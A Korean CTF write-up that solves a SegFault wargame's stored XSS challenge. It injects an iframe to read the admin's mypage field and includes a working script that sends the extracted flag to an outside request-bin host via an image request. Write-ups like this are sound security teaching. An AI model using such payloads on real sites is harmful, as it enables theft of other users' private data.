본문 바로가기

WarGame/SegFault

Steal Info 2

문제 정보

0. 마이페이지 정보란 확인

flag 정보가 있을 마이페이지의 정보란은

<input> 태그 안에 "info"라는 name 속성을 가지고 있으며,

관리자 계정으로 접속 시, placeholder 속성에 값으로 FLAG가 출력된다는 것을 추측할 수 있다.

1. XSS 포인트

게시판에 HTML 특수문자를 삽입하여 글을 작성했다.

본문의 특수문자는 HTML Entity로 치환되지 않고, 그대로 삽입되는 것을 확인할 수 있다.

(* Stored XSS 포인트 확인)

2. 스크립트 삽입

2.1. 마이페이지 userInfo 데이터 추출

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php" id="xss" onload="payload()"></iframe>
<script>
function payload() {
    var iframeTag = document.getElementById('xss');
    var dom = iframeTag.contentDocument;
    var flag = dom.getElementById('userInfo').placeholder;
    console.log(flag);
}
</script>

<iframe> 태그를 이용해 게시글에 마이페이지를 불러온 뒤,

flag가 있을 정보란의 placeholder 값을 가져오는 스크립트를 삽입했다.

스크립트가 삽입된 게시글에 접근하면,

<iframe>을 통해 본문에 마이페이지가 출력되는 모습을 볼 수 있으며,

개발자 도구의 console.log에 마이페이지 정보란의 텍스트 값이 출력되는 것을 확인할 수 있다.

2.2. 추출한 데이터 공격자 서버로 전달

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php" id="xss" onload="payload()"></iframe>
<script>
function payload() {
	var iframeTag = document.getElementById('xss');
	var dom = iframeTag.contentDocument;
	var flag = dom.getElementById('userInfo').placeholder;
	var i = new Image();
	i.src="https://en88y0voes91u.x.pipedream.net/?flag=" + flag;
}
</script>

이미지 태그를 이용해 추출한 userInfo 데이터를 공격자 서버의 요청 값으로 전달하는 스크립트를 삽입했다.

스크립트를 삽입한 게시글에 접근해 보니,

공격자 서버에 추출한 데이터가 전달되는 것을 확인할 수 있었다.

관리자 봇이 스크립트가 삽입된 게시글에 접근할 수 있도록

URL을 전달했다.

공격자 서버를 확인해 보면,

관리자 계정의 마이페이지 속 정보란의 FLAG를 획득할 수 있다.

'WarGame > SegFault' 카테고리의 다른 글

GET Admin 2  (0) 2024.07.08
GET Admin 1  (0) 2024.07.08
Steal Info  (1) 2024.06.30
Basic Script Prac  (0) 2024.06.29
XSS Challenge  (2) 2024.06.24